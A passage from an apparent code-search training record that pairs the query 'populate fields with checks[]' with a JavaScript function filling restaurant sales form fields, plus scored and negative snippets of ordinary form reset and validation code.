'Search';\n\tFlexTable_stacks_in_3578_page20_ButtonEnable(false);\n\tif (doclick) { field.click(); }\n\n\tvar pager = document.getElementById('FlexTablePager_stacks_in_3578_page20');\n\tif (!pager) return;\n\tif (pager.style.display == 'none') {\n\t\tFlexTable_stacks_in_3578_page20_Pager(true);\n\t\tFlexTable_stacks_in_3578_page20_SetPage(1);\n\t\t}\n\n\treturn false;\n\t}", "function resetList(){\n pageList.innerHTML = \"\";\n}", "function resetTemplate (instance) {\n\n instance.name.set('');\n instance.comics.set([]);\n instance.page.set(1);\n instance.pagesList.set([\"1\"]);\n instance.dataLoaded.set('NO');\n\n instance.pagesStart = 0;\n instance.pagesEnd = 0;\n instance.previousPage = 0;\n instance.loopGroup = 0;\n instance.comicsOffset = 0;\n instance.canLoadMore = 'NO';\n}", "function pageItemReset()\n\t{\n\t\tsetTimeout(function()\n\t\t{ \t\n\t\t\titems=document.querySelectorAll(\".item\");\n\t\t\tpageNumber = 1;\n\n\t\t\tconsole.log(items)\n\n\t\t\tif(items.length != 0)\n\t\t\t\tmaxPages = Math.ceil(items.length/maximumItems);\n\t\t\telse\n\t\t\t\tmaxPages = 1;\n\n\t\t\tdisableCheck();\n\t\t\tshowItems(); \n\t\t}, 650);\n\t}", "function resetPresidentForm(){\n fechaInicioField.setValue('');\n descripcionEventoField.setValue('');\n }", "function clearFields() {\n \t$('#frmMain').removeClass('submitted'); \t\n \t$('#frmDirectlyBolted').removeClass('submitted'); \t\n \t$('#frmPostWithEndPlate').removeClass('submitted'); \n \t\n \tclearFormFields('frmMain');\n \tclearFormFields('frmDirectlyBolted');\n \tclearFormFields('frmPostWithEndPlate');\n \t \t\n \t$(\"#txtShape\").val('S'); \n $(\"#ddlConnectiontypeMonoRail\").val('curvedRailsNO');\n $(\"#ddlConnectiontypeMonoRail\").trigger(\"change\");\n \t\n \t$('#ConnectiontypeMonorail').val(\"connectionTypeMonoEP\"); \t \t\n \t$(\"#ConnectiontypeMonorail\").trigger(\"change\");\n \t \t \t\n \t$(\".defaultValueZero\").val(0);\n \t\n \tUncheckAllCheckBox();\n \tclearSelect2Dropdown();\n \t\n \t$('#drpBoltGrade').val(getOptId('drpBoltGrade', BoGrGp)).change();\n \t$('#drpBoltDia').val(BoltDiaGP);\n \t\n \t$('.addTR').text(\"Add\");\n \tisEdit = false;\n \tSelected = [];\n }", "function clear() {\n\t\t\tconsole.log(\"clear()\");\t\t\n\t\t\tresetData();\n refreshTotalCount();\n\t\t\tsetFocus();\n\t\t\taddAdbRow();\n\t\t\tconsole.log(\"done clear()\");\n\t\t}", "function FlexTable_stacks_in_5094_page24_Reset(field,doclick) {\n\n\tfield.value = 'Search';\n\tFlexTable_stacks_in_5094_page24_ButtonEnable(false);\n\tif (doclick) { field.click(); }\n\n\tvar pager = document.getElementById('FlexTablePager_stacks_in_5094_page24');\n\tif (!pager) return;\n\tif (pager.style.display == 'none') {\n\t\tFlexTable_stacks_in_5094_page24_Pager(true);\n\t\tFlexTable_stacks_in_5094_page24_SetPage(1);\n\t\t}\n\n\treturn false;\n\t}", "function FlexTable_stacks_in_4039_page20_Reset(field,doclick) {\n\n\tfield.value = 'Search';\n\tFlexTable_stacks_in_4039_page20_ButtonEnable(false);\n\tif (doclick) { field.click(); }\n\n\tvar pager = document.getElementById('FlexTablePager_stacks_in_4039_page20');\n\tif (!pager) return;\n\tif (pager.style.display == 'none') {\n\t\tFlexTable_stacks_in_4039_page20_Pager(true);\n\t\tFlexTable_stacks_in_4039_page20_SetPage(1);\n\t\t}\n\n\treturn false;\n\t}", "clearInput() {\n if (this.getCurTab() === \"dbms\") {\n var curDocName = DOC.iSel(\"docNameID\").value; // Stores current value of docName\n DOC.iSel(\"dbmsFormID\").reset(); // Resets entire form\n DOC.iSel(\"docNameID\").value = curDocName; // Added so docname is not reset\n } else if (this.getCurTab() === \"fs\") {\n var curDocName = DOC.iSel(\"docNameID2\").value;\n DOC.iSel(\"fsFormID\").reset();\n DOC.iSel(\"docNameID2\").value = curDocName;\n }\n }", "function resetDataForDelete(){\n \tvar count = $('.baiDocTable tbody').children().length;\n// \tconsole.log(\"số cột \" + count);\n \t$('.baiDocTable tbody tr').remove();\n \tvar page = $('li.active').children().text();\n \t$('.pagination li').remove();\n \tconsole.log(page);\n \tif(count == 1){ \t\n \t\tajaxGet(page -1 );\n \t} else {\n \t\tajaxGet(page);\n \t}\n\n }", "clear(field) {\n if (field === undefined) {\n this.field = [];\n } else {\n this.fields[field] = undefined;\n }\n this.time = undefined;\n this.fieldsComputed = false;\n }", "function FlexTable_stacks_in_5397_page24_Reset(field,doclick) {\n\n\tfield.value = 'Search';\n\tFlexTable_stacks_in_5397_page24_ButtonEnable(false);\n\tif (doclick) { field.click(); }\n\n\tvar pager = document.getElementById('FlexTablePager_stacks_in_5397_page24');\n\tif (!pager) return;\n\tif (pager.style.display == 'none') {\n\t\tFlexTable_stacks_in_5397_page24_Pager(true);\n\t\tFlexTable_stacks_in_5397_page24_SetPage(1);\n\t\t}\n\n\treturn false;\n\t}" ]
[ "0.7346087", "0.6599753", "0.65950984", "0.65709454", "0.6534599", "0.65146196", "0.6491995", "0.6454822", "0.6358031", "0.63314384", "0.6330404", "0.6313117", "0.6299537", "0.6282907", "0.62757623", "0.6265143", "0.62592965", "0.6256452", "0.62539184", "0.6234725", "0.62113726", "0.6186162", "0.6185466", "0.61837834", "0.6180947", "0.6167352", "0.61657715", "0.61311656", "0.61155194", "0.61138666", "0.61043674", "0.6095208", "0.6094275", "0.608942", "0.6085099", "0.6083902", "0.60739416", "0.6054526", "0.604548", "0.6038505", "0.6020575", "0.60036343", "0.59936833", "0.59911484", "0.5987286", "0.5986653", "0.5985713", "0.59799254", "0.59709", "0.5966202", "0.5959935", "0.5957193", "0.5955323", "0.59481007", "0.5947403", "0.5941639", "0.593764", "0.5936805", "0.59344137", "0.5920296", "0.5918582", "0.5916057", "0.59126204", "0.59069663", "0.5906554", "0.58974594", "0.58926046", "0.58868337", "0.58845943", "0.588253", "0.58807427", "0.5873664", "0.5868766", "0.58602035", "0.58592176", "0.585792", "0.58575094", "0.58488107", "0.5846193", "0.5843529", "0.5825173", "0.58236516", "0.58148444", "0.5808524", "0.58046925", "0.5801952", "0.5799942", "0.5798094", "0.5798043", "0.5797385", "0.57966447", "0.57962507", "0.57953864", "0.57943404", "0.5791659", "0.57907516", "0.5789317", "0.57888186", "0.578864", "0.5787658" ]
0.7095952
1
populate fields with checks[]
function displayCheck(x) { if (checks[x].netSales != 0) {document.getElementById("net-sales").value = checks[x].netSales} if (checks[x].autoGrat != 0) {document.getElementById("20-auto-grat").value = checks[x].autoGrat} if (checks[x].eventAutoGrat != 0) {document.getElementById("event-auto-grat").value = checks[x].eventAutoGrat} if (checks[x].chargeTip != 0) {document.getElementById("charge-tip").value = checks[x].chargeTip} if (checks[x].liquor != 0) {document.getElementById("liquor").value = checks[x].liquor} if (checks[x].beer != 0) {document.getElementById("beer").value = checks[x].beer} if (checks[x].wine != 0) {document.getElementById("wine").value = checks[x].wine} if (checks[x].food != 0) {document.getElementById("food").value = checks[x].food} }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "fill(data, fields, fieldCheck) {\n const props = {};\n const doFieldCheck = typeof fieldCheck === 'function';\n\n fields = Array.isArray(fields) ? fields : Object.keys(data);\n\n fields.forEach((propKey) => {\n if (\n !Object.prototype.hasOwnProperty.call(this.getDefinitions(), propKey)\n ) {\n return;\n }\n\n if (doFieldCheck) {\n const fieldCheckResult = fieldCheck(propKey, data[propKey]);\n if (fieldCheckResult === false) {\n return;\n } else if (fieldCheckResult) {\n props[propKey] = fieldCheckResult;\n return;\n }\n }\n\n props[propKey] = data[propKey];\n });\n console.log('properties now ', props);\n this.property(props);\n return props;\n }", "static checkSomeFields(data) {\n const modelValidationErrors = {\n modelHasErrors: false\n };\n Object.entries(data).forEach(([fieldName, value]) => {\n const field = this[fieldName];\n const valueInData = data[fieldName];\n if (field instanceof fields_1.Field) {\n const fieldValidationErrors = field.getValidationErrors(valueInData);\n if (fieldValidationErrors.fieldHasErrors) {\n modelValidationErrors.modelHasErrors = true;\n }\n modelValidationErrors[fieldName] = fieldValidationErrors;\n }\n });\n return modelValidationErrors;\n }", "async checkProperties(data, fields) {\n this.fill(data, fields);\n return this.valid(false, false);\n }", "static checkAllFields(data) {\n const modelValidationErrors = {\n modelHasErrors: false\n };\n for (let fieldName in this.getDefinedFields()) {\n const field = this[fieldName];\n const valueInData = data[fieldName];\n const fieldValidationErrors = field.getValidationErrors(valueInData);\n if (fieldValidationErrors.fieldHasErrors) {\n modelValidationErrors.modelHasErrors = true;\n }\n modelValidationErrors[fieldName] = fieldValidationErrors;\n }\n return modelValidationErrors;\n }", "function checkFieldsAll ( $target ) {\n \n }", "populateChecks(refresh = false) {\n console.debug(this.prefix + \"::populateChecks\")\n this.showSpinner()\n // First, hide all checkboxes\n this.cachedValues = null\n this.disableChecks()\n // Then, populate them with values\n let self = this\n this.model.ScanValues(refresh).then((values) => {\n // Each value is an array with three entries:\n // value, checked, and label.\n self.cachedValues = values.slice(0, 10)\n self.iterateChecks((index, line, box, span) => {\n line.removeClass(\"hidden\")\n box.prop(\"disabled\", false)\n box.prop(\"checked\", values[index][1])\n span[0].innerHTML = values[index][2]\n })\n self.hideSpinner()\n if (!refresh) {\n self.triggerSelected()\n }\n })\n .catch((err) => {\n self.hideSpinner()\n self.triggerError(err)\n })\n }", "function populateDataFields() {}", "function setUpMiniMax( check, id, textFields ) {\n\tfor ( i = 1; i < /*check.length*/2; i++) { \n\t\tvar label = check[i].label;\n\t\tvar inputType = check[i].type;\n\t\tvar checkName = check[i].name;\n\t\tvar text = check[i].text;\n\t\tconsole.log('#' + label);\n\t\tconsole.log($('#' + label).length);\n\t\t$( '#' + label).change(function() {\n\t\t\tconsole.log(check);\n\t\t\tconsole.log(check[i]);\n\t\t\tconsole.log(check[i].fields);\n\t\t\tconsole.log('#' + label);\n\t\t\tconsole.log(\"change\");\n\t\t\tif( $( \"#\" + label ).prop('checked')) {\n\t\t\t\tconsole.log(\"check_now\");\n\t\t\t\tconsole.log(check);\n\t\t\t\tconsole.log(check[i]);\n\t\t\t\tconsole.log(check[i].fields);\n\t\t\t\t$('#' + label).attr('checked','checked');\n\t\t\t\tfor( j = 0; j < check[i].fields.length; j++) {\n\t\t\t\t\tconsole.log(textFields[j].label);\n\t\t\t\t\tconsole.log(check[i].fields[j]);\n\t\t\t\t\tif(check[i].fields[j]) {\n\t\t\t\t\t\t$('#' + textFields[j].label).removeAttr('disabled');\n\t\t\t\t\t}\n\t\t\t\t} \n\t\t\t} else {\n\t\t\t\tconsole.log(\"uncheck_now\");\n\t\t\t\t$('#' + label).removeAttr('checked');\n\t\t\t\tfor( j = 0; j < check[i].fields.length; j++) {\n\t\t\t\t\tconsole.log(textFields[j].label);\n\t\t\t\t\tconsole.log(check[i].fields[j]);\n\t\t\t\t\tif(check[i].fields[j]) {\n\t\t\t\t\t\t$('#' + textFields[j].label).attr('disabled', 'disabled');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n}", "_setRequiredFields() {\n const that = this;\n\n if (!that.requiredFields || !that.requiredFields.length) {\n return;\n }\n\n const currentValue = that.value;\n let reqGroup = [];\n\n for (let i = 0; i < that.requiredFields.length; i++) {\n const reqField = that.requiredFields[i],\n field = that.fields.find(field => field.dataField === reqField);\n\n if (field) {\n let valueRecords = [];\n\n if (currentValue) {\n let i = 0;\n\n //Doing a lookup on the value for records that contain 'requiredFields'\n //Modifies the value dynamically\n while (i < currentValue.length) {\n const val = currentValue[i];\n\n if (Array.isArray(val)) {\n let r = 0;\n\n while (r < val.length) {\n let record = val[r];\n\n if (record && record[0] === field.dataField) {\n valueRecords.push(record);\n val.splice(r > 0 ? r - 1 : r, 2);\n continue;\n }\n\n r++;\n }\n }\n\n if (!val.length) {\n currentValue.splice(i, 2);\n continue;\n }\n\n i++;\n }\n }\n\n //Check if group records exist inside value\n if (valueRecords) {\n for (let r = 0; r < valueRecords.length; r++) {\n reqGroup.push(valueRecords[r]);\n reqGroup.push('and');\n }\n }\n else {\n //If no records create a placeholder\n reqGroup.push([reqField]);\n reqGroup.push('and');\n }\n }\n }\n\n //Remove the lastly added 'and' condition\n if (typeof reqGroup[reqGroup.length - 1] === 'string') {\n reqGroup.pop();\n }\n\n //Add the Required Fields on Top of the value\n that.value.unshift(reqGroup, 'and')\n }", "validateAll () {\n for (let fieldID of Object.keys(this.fields)) {\n this.fields[fieldID].validate()\n }\n }", "function fillFields(response) {\n const { name, cpf_cnpj, rg, phone, email, active } = response.person;\n console.log(response.peopleType);\n const typeIds = response.peopleType.map((index) => {\n if (index.Type_people.active) {\n return index.Type_people.id_type;\n }\n });\n\n console.log(typeIds);\n\n console.log(typeIds.includes(\"1\"));\n\n name ? setName(name) : setName(\"\");\n\n cpf_cnpj ? setCpf_cnpj(cpf_cnpj) : setCpf_cnpj(\"\");\n\n rg ? setRg(rg) : setRg(\"\");\n\n phone ? setPhone(phone) : setPhone(\"\");\n\n email ? setEmail(email) : setEmail(\"\");\n\n active ? setActive(active) : setActive(false);\n\n typeIds.includes(1) || typeIds.includes(\"1\")\n ? setCheckedTypeAdmin(true)\n : setCheckedTypeAdmin(false);\n\n typeIds.includes(2) || typeIds.includes(\"2\")\n ? setCheckedTypeAttendance(true)\n : setCheckedTypeAttendance(false);\n\n typeIds.includes(3) || typeIds.includes(\"3\")\n ? setCheckedTypeDriver(true)\n : setCheckedTypeDriver(false);\n }", "configureFields() {\n let fields = {}\n\n for(let fieldName in this.props.schema.fields) {\n let field = this.props.schema.fields[fieldName]\n\n fields[fieldName] = {}\n fields[fieldName].value = undefined\n fields[fieldName].isValid = false\n fields[fieldName].required = false\n\n if(\n field.type === 'select'\n || field.type === 'checkbox'\n ) {\n fields[fieldName].isValid = true\n }\n }\n\n if(this.props.schema.required) {\n this.props.schema.required.forEach(fieldName => {\n fields[fieldName].required = true\n })\n }\n\n return fields\n }", "ensureFields() {\n if (this.options.fields === undefined) {\n this.options.fields = this.config.fieldNames.reduce((fields, field) => {\n fields[field] = field;\n return fields;\n }, {});\n }\n }", "function _collectChecks() {\n var lReturn = [];\n var lSelect = $x_FormItems( that.spreadsheet_id, 'CHECKBOX' );\n for(var i=0,l=lSelect.length;i<l;i++){\n if(lSelect[i].checked && lSelect[i].id){\n lReturn[lReturn.length]=lSelect[i].value;\n }\n }\n return lReturn;\n }", "function populateFields(curData)\r\n{\r\n if (curData === null)\r\n return;\r\n $(email).val(curData.email);\r\n $(first).val(curData.firstname);\r\n $(last).val(curData.lastname);\r\n $(password).val(curData.password);\r\n $(confirmPassword).val(curData.password);\r\n var checkAdmin = (curData.isAdmin == \"1\");\r\n console.log(checkAdmin);\r\n $(isAdmin).prop(\"checked\", checkAdmin);\r\n}", "checkFields() {\n return this.isFields\n }", "validateFieldOptions() {\n this.options.fields.forEach((f) => {\n let name = f;\n if (typeof f === 'object') {\n name = f.name;\n }\n\n if (this.availableFields.indexOf(name) === -1) {\n throw new Error(`Field ${name} not available. Make sure the fields array item has\\\n a string or a object with a name attribute containing one of the available fields.`);\n }\n });\n }", "function getSpellCheckArray() {\r\n\tvar fieldsToCheck=new Array();\r\n\t\r\n\tfieldsToCheck[0]=[document,\"bio\"];\r\n\tfieldsToCheck[1]=[document,\"careerPlans\"];\r\n\tfieldsToCheck[2]=[document,\"shortAnswer\"];\r\n\t\r\n\treturn fieldsToCheck;\r\n}", "function setUpFields(fields){\n\n\t_.forEach(fields, function(value, key){\n\t\tif(value.type == 'date'){\n\t\t\t$scope.data.thisContent[value.field || value.key] = {\n\t\t\t\tstartDate: $scope.data.thisContent[value.field || value.key] || null,\n\t\t\t\tendDate: null //have to stub but don't use all the time\n\t\t\t}\n\t\t}\n\t})\n\n\treturn fields;\n\n}", "addRequiredRuleToFields() {\n Object.values(this.props.fields).forEach(field => {\n if (field.required === true || typeof field.required === 'string') {\n const newFields = this.props.fields\n newFields[field.name].rules.push('isRequired')\n this.setState({ fields: newFields })\n }\n })\n }", "function checkReqFields() {\n \n}", "function getFieldsValues(fields) { // 1230\n var doc = {}; // 1231\n _.each(fields, function formValuesEach(field) { // 1232\n var name = field.getAttribute(\"data-schema-key\"); // 1233\n var val = field.value || field.getAttribute('contenteditable') && field.innerHTML; //value is undefined for contenteditable\n var type = field.getAttribute(\"type\") || \"\"; // 1235\n type = type.toLowerCase(); // 1236\n var tagName = field.tagName || \"\"; // 1237\n tagName = tagName.toLowerCase(); // 1238\n // 1239\n // Handle select // 1240\n if (tagName === \"select\") { // 1241\n if (val === \"true\") { //boolean select // 1242\n doc[name] = true; // 1243\n } else if (val === \"false\") { //boolean select // 1244\n doc[name] = false; // 1245\n } else if (field.hasAttribute(\"multiple\")) { // 1246\n //multiple select, so we want an array value // 1247\n doc[name] = Utility.getSelectValues(field); // 1248\n } else { // 1249\n doc[name] = val; // 1250\n } // 1251\n return; // 1252\n } // 1253\n // 1254\n // Handle checkbox // 1255\n if (type === \"checkbox\") { // 1256\n if (val === \"true\") { //boolean checkbox // 1257\n doc[name] = field.checked; // 1258\n } else { //array checkbox // 1259\n // Add empty array no matter what, // 1260\n // to ensure that unchecking all boxes // 1261\n // will empty the array. // 1262\n if (!_.isArray(doc[name])) { // 1263\n doc[name] = []; // 1264\n } // 1265\n // Add the value to the array only // 1266\n // if checkbox is selected. // 1267\n field.checked && doc[name].push(val); // 1268\n } // 1269\n return; // 1270\n } // 1271\n // 1272\n // Handle radio // 1273\n if (type === \"radio\") { // 1274\n if (field.checked) { // 1275\n if (val === \"true\") { //boolean radio // 1276\n doc[name] = true; // 1277\n } else if (val === \"false\") { //boolean radio // 1278\n doc[name] = false; // 1279\n } else { // 1280\n doc[name] = val; // 1281\n } // 1282\n } // 1283\n return; // 1284\n } // 1285\n // 1286\n // Handle number // 1287\n if (type === \"select\") { // 1288\n doc[name] = Utility.maybeNum(val); // 1289\n return; // 1290\n } // 1291\n // 1292\n // Handle date inputs // 1293\n if (type === \"date\") { // 1294\n if (Utility.isValidDateString(val)) { // 1295\n //Date constructor will interpret val as UTC and create // 1296\n //date at mignight in the morning of val date in UTC time zone // 1297\n doc[name] = new Date(val); // 1298\n } else { // 1299\n doc[name] = null; // 1300\n } // 1301\n return; // 1302\n } // 1303\n // 1304\n // Handle date inputs // 1305\n if (type === \"datetime\") { // 1306\n val = (typeof val === \"string\") ? val.replace(/ /g, \"T\") : val; // 1307\n if (Utility.isValidNormalizedForcedUtcGlobalDateAndTimeString(val)) { // 1308\n //Date constructor will interpret val as UTC due to ending \"Z\" // 1309\n doc[name] = new Date(val); // 1310\n } else { // 1311\n doc[name] = null; // 1312\n } // 1313\n return; // 1314\n } // 1315\n // 1316\n // Handle date inputs // 1317\n if (type === \"datetime-local\") { // 1318\n val = (typeof val === \"string\") ? val.replace(/ /g, \"T\") : val; // 1319\n var offset = field.getAttribute(\"data-offset\") || \"Z\"; // 1320\n if (Utility.isValidNormalizedLocalDateAndTimeString(val)) { // 1321\n doc[name] = new Date(val + offset); // 1322\n } else { // 1323\n doc[name] = null; // 1324\n } // 1325\n return; // 1326\n } // 1327\n // 1328\n // Handle all other inputs // 1329\n doc[name] = val; // 1330\n }); // 1331\n // 1332\n return doc; // 1333\n} // 1334", "function saveManualFieldData() {\n\tvar len = fieldsToCheck.length;\n\tvar element;\n\tfor (var i=0; i<len; ++i) {\n\t\tid = fieldsToCheck[i];\n\t\telement = '#' + id;\n\t\t$(element).data('initial_value', $(element).val());\n\t}\n}", "refreshValidationState() {\n this.errors = {}\n\n for (const field of this.fields) {\n field.refreshValidationState()\n }\n }", "static allChecks() {\n return [];\n }", "validateAllDirty () {\n for (let fieldID of Object.keys(this.fields)) {\n let field = this.fields[fieldID]\n\n if (field.dirty) {\n field.validate()\n }\n }\n }", "function validateRecord(record, fields) {\n\tlet result = {}\n\tlet context = interpolateRecord(record, fields)\n\tlet fieldsByName = Object.assign(\n\t\t{},\n\t\t...[...fields.entries()].map(([k, v]) => ({ [v.name]: v }))\n\t)\n\n\t// Apply calculated context to result and do logic checks\n\tfor (let field of fields) {\n\t\tlet logicErrors = validate(context[field.name], field) || []\n\t\tlet logicWarnings = []\n\n\t\tif (field.logic_checks) {\n\t\t\tlet checks = checkLogic(field, context)\n\t\t\tlet logicPrompts = JSON.parse('[' + field.logic_prompts + ']')\n\t\t\tlet mustBeTrue = field.logic_must_be_true\n\t\t\t\t.split(',')\n\t\t\t\t.map(d => d.trim() === 'yes')\n\n\t\t\tfor (let i in checks) {\n\t\t\t\tif (typeof checks[i] === 'string')\n\t\t\t\t\tlogicErrors.push(\n\t\t\t\t\t\t`'${\n\t\t\t\t\t\t\t(fields.find(d => d.name === checks[i]) || {}).label\n\t\t\t\t\t\t}' can not be empty`\n\t\t\t\t\t)\n\t\t\t\telse if (checks[i] && mustBeTrue[i] === true)\n\t\t\t\t\tlogicErrors.push(logicPrompts[i])\n\t\t\t\telse if (\n\t\t\t\t\tchecks[i] &&\n\t\t\t\t\t(mustBeTrue[i] === false || mustBeTrue[i] === undefined)\n\t\t\t\t)\n\t\t\t\t\tlogicWarnings.push(logicPrompts[i])\n\t\t\t}\n\t\t}\n\n\t\tlet hasUnknownDependency = false\n\n\t\tif (field.logic_checks !== '')\n\t\t\thasUnknownDependency = checkUnknownDependencies(\n\t\t\t\tfield,\n\t\t\t\tcontext\n\t\t\t)\n\n\t\tif (field.calculated === 'yes' && !hasUnknownDependency)\n\t\t\thasUnknownDependency = checkUnknownDependencies(\n\t\t\t\tfield,\n\t\t\t\tcontext\n\t\t\t)\n\n\t\tlet ignoreValidation = false\n\t\tif (field.valid_values !== '')\n\t\t\tignoreValidation = field.valid_values.split(',').includes(context[field.name])\n\t\n\t \t// Check if date and time fields include other valid value\n\t\tlet hasOtherValidDependency = false\n\t\tif (field.logic_checks !== '' && (field.type === \"date\" || field.type === \"time\" || field.type === \"datetime\"))\n\t\t\thasOtherValidDependency |= checkOtherValidDependency(\n\t\t\t\tfield,\n\t\t\t\t'logic_checks',\n\t\t\t\tcontext,\n\t\t\t\tfieldsByName\n\t\t\t)\n\t\t\t\n\t\t// Remove duplicate errors\n\t\tlogicErrors = [...new Set(logicErrors)]\n\n\t\t// Define valid\n\t\tlet valid = hasUnknownDependency || hasOtherValidDependency || ignoreValidation || logicErrors.length === 0\n\n\t\t// Clear logic errors if valid \n\t\tif (valid) logicErrors = [] \n\t\t\t\t\n\t\tresult[field.name] = {\n\t\t\tvalue: context[field.name],\n\t\t\tvalid: valid,\n\t\t\terrors: logicErrors,\n\t\t\twarnings: logicWarnings,\n\t\t\tunknown:\n\t\t\t\thasUnknownDependency || \n\t\t\t\tisUnknown(context[field.name], field),\n\t\t\tincomplete: !context[field.name] && context[field.name] !== 0,\n\t\t\ttype: field.type,\n\t\t}\n\t}\n\n\treturn result\n}", "_validateAll() {\n console.log(\"Validating all fields\")\n const { items } = this.props\n const { data } = this.state\n const errors = {}\n const touched = {}\n items.forEach(({ name }) => {\n const fieldErrors = this._validate(name, data)\n Object.assign(errors, fieldErrors)\n touched[name] = true\n })\n this.setState({ errors, touched })\n return errors\n }", "function parseDecoratedFields(fields, checker) {\n return fields.reduce(function (results, field) {\n var fieldName = field.member.name;\n field.decorators.forEach(function (decorator) {\n // The decorator either doesn't have an argument (@Input()) in which case the property\n // name is used, or it has one argument (@Output('named')).\n if (decorator.args == null || decorator.args.length === 0) {\n results[fieldName] = fieldName;\n }\n else if (decorator.args.length === 1) {\n var property = metadata_1.staticallyResolve(decorator.args[0], checker);\n if (typeof property !== 'string') {\n throw new Error(\"Decorator argument must resolve to a string\");\n }\n results[fieldName] = property;\n }\n else {\n // Too many arguments.\n throw new Error(\"Decorator must have 0 or 1 arguments, got \" + decorator.args.length + \" argument(s)\");\n }\n });\n return results;\n }, {});\n }", "_validateFields(values, fields = this._fields) {\n const _fields = fields.map(field => this._validateField(values[field.name], field));\n const invalid = _fields.filter(item => item !== true);\n if (!invalid.length)\n return true;\n // Convert the errors into an object\n const errors = {};\n invalid.forEach(f => errors[f.field] = f.errors);\n return errors;\n }", "initRules(setRequiredRules = false) {\n let rules = {}\n\n Object.keys(this.setNewItemFields()).map((Key) => {\n if (Key === 'translatables') {\n this.setNewItemFields()[Key].map((key) => {\n // generate translatable rules\n rules[key] = Object.fromEntries(this.getLocalesList().map(locale => {\n let rules = [\n () => !this.remoteErrors[key] || !this.remoteErrors[key][locale] || this.remoteErrors[key][locale][0]\n ]\n\n if (locale === this.getDefaultLocale() && setRequiredRules) {\n rules.unshift(val => !!val || this.errorMessages.required)\n }\n\n return [locale, rules]\n }, [this, key]))\n }, this)\n } else {\n this.setNewItemFields()[Key].map((key) => {\n // generate rules\n if (key !== 'id') {\n rules[key] = []\n if (setRequiredRules) {\n rules[key].push(val => !!val || this.errorMessages.required)\n }\n rules[key].push(() => !this.remoteErrors[key] || this.remoteErrors[key][0])\n }\n }, Key)\n }\n }, this)\n\n return rules\n }", "_getFieldsFromValue() {\n const that = this,\n items = that._valueFlat,\n fieldsNames = [],\n fields = [];\n\n for (let i = 0; i < items.length; i++) {\n if (items[i].type === 'condition') {\n const fieldName = items[i].data[0];\n\n if (fieldsNames.indexOf(fieldName) === -1) {\n const fieldElement = { label: fieldName, dataField: fieldName, dataType: 'string', format: null };\n\n fieldsNames.push(fieldName);\n fields.push(fieldElement);\n }\n }\n }\n\n that._valueFields = fields;\n }", "function fillLookupFields() {\r\n $form.find('[data-type=\"Lookup\"]').each(function () {\r\n var elm = this;\r\n var list = $(elm).data(\"lookup-list\");\r\n var field = $(elm).data(\"lookup-field\");\r\n getLookUpValues(list).done(function (data) {\r\n var $optionsCollection = [];\r\n $.each(data.d.results, function () {\r\n var $option = $(\"<option />\", { value: this.ID, text: this[field] });\r\n $optionsCollection.push($option);\r\n });\r\n \r\n if (options.lookUp != null) {\r\n var $option = $(\"<option />\", { \r\n value: options.lookUp.defaultValue, \r\n text: options.lookUp.defaultText,\r\n });\r\n\r\n if (options.lookUp.disabled) {\r\n $option.attr({ disabled: true, selected: true });\r\n }\r\n\r\n $optionsCollection.splice(0,0,$option);\r\n }\r\n\r\n $(elm).append($optionsCollection);\r\n });\r\n });\r\n }", "function checkedAll(field){\n\t\t\tfor(i=0; i< field.length; i++)\n\t\t\t\tfield[i].checked = true;\n\t\t}", "function b(a){\"use strict\";var b=a||{};return b.rules=b.rules||[],b.checks=b.checks||[],b.data=b.data||{checks:{},rules:{}},b}", "function setChecks() {\n // Bind to age on change\n $(\"#srvy_age\").on('change', onlyNumeric);\n // Bind to zip code on change\n $(\"#srvy_zip\").on('change', onlyNumeric);\n // Bind to colonia\n $(\"#srvy_col\").on('change', onlyGoodCharacters);\n}", "constructor(fields, data = {}) {\n fields.forEach((fieldDefinition) => {\n if (typeof fieldDefinition === \"string\") {\n this[fieldDefinition] = this.convertSimpleField(\n data[fieldDefinition],\n null\n );\n } else {\n // fieldDefinition must be an object\n let fieldName = fieldDefinition.name;\n let fieldType = fieldDefinition.type;\n let fieldIsList =\n typeof fieldDefinition.list !== \"undefined\"\n ? fieldDefinition.list\n : false;\n let fieldDefault =\n typeof fieldDefinition.default !== \"undefined\"\n ? this.getDefaultValue(fieldDefinition.default)\n : null;\n let fieldValue = data[fieldName];\n if (fieldIsList) {\n this[fieldName] = fieldValue\n ? fieldValue.map((item) =>\n this.convertField(fieldType, item, fieldDefault)\n )\n : fieldDefault;\n } else {\n this[fieldName] = this.convertField(\n fieldType,\n fieldValue,\n fieldDefault\n );\n }\n }\n });\n }", "function getValidatedFields() {\n var invalidFields = _utils2.default.keys(_utils2.default.keyBy(validationInfo.invalidFields, function (fieldObj) {\n return fieldObj.name;\n }));\n var validFields = _utils2.default.keys(_utils2.default.keyBy(validationInfo.validFields, function (fieldObj) {\n return fieldObj.name;\n }));\n return _utils2.default.concat(invalidFields, validFields);\n }", "function checkAll(field){\n\tif(field.master.checked== true){\n\t\tfor(var i=0; i < field.length; i++){\n\t\t\tfield[i].checked=true;\n\t\t}\n\t}\n\telse {\n\t\tfor(var i=0; i < field.length; i++){\n\t\t\tfield[i].checked=false;\n\t\t}\n\t}\n}", "function fetchPreFilledFields() {\n if (!$scope.user.settings.email.email) {\n var email = $('[name=email]').val();\n if (email) {\n $scope.user.settings.email.email = Util.Formatters.email(email);\n }\n }\n if (!$scope.password) {\n var password = $('[name=password]').val();\n if (password) {\n $scope.password = password;\n }\n }\n }", "function declaringFields() { }", "formatValidation(){\n\n return ((this.lean.email)&&(this.lean.firstName)&&(this.lean.lastName)&&(this.lean.product)&&(this.lean.profileId));\n\n }", "function buildCheckFunction(locations) {\n return (fields, message) => check_1.check(fields, locations, message);\n}", "function setValidCheck(check){\n check.valid = 1;\n check.msg = \"Good!\"; \n }", "function getFieldTrue(info) {\n var arr = [];\n if(info.fullname != \"\") {\n arr.push(\"#help-register-customer\");\n }\n if(info.address != \"\") {\n arr.push(\"#help-address-customer\");\n }\n if(info.phone != \"\") {\n arr.push(\"#help-phone-customer\");\n }\n if(info.vaccineId != 0) {\n arr.push(\"#help-vaccine-customer\");\n }\n if(info.quantity != \"\" || info.quantity != 0) {\n arr.push(\"#help-quantity\");\n }\n return arr;\n }", "beforeInit() {\n const { ele } = this.props;\n this._value = [];\n if (!ele.fieldClass) {\n FieldUtiles.prepareFieldsRec(ele);\n }\n this.ele = ele.fieldClass\n ? ele\n : FieldUtiles.getFieldData({ ele }, ObjectField);\n }", "function validateFields(){\n\tif(!getValue('nombreID')\n\t\t|| !getValue('contactoID') \n\t\t|| 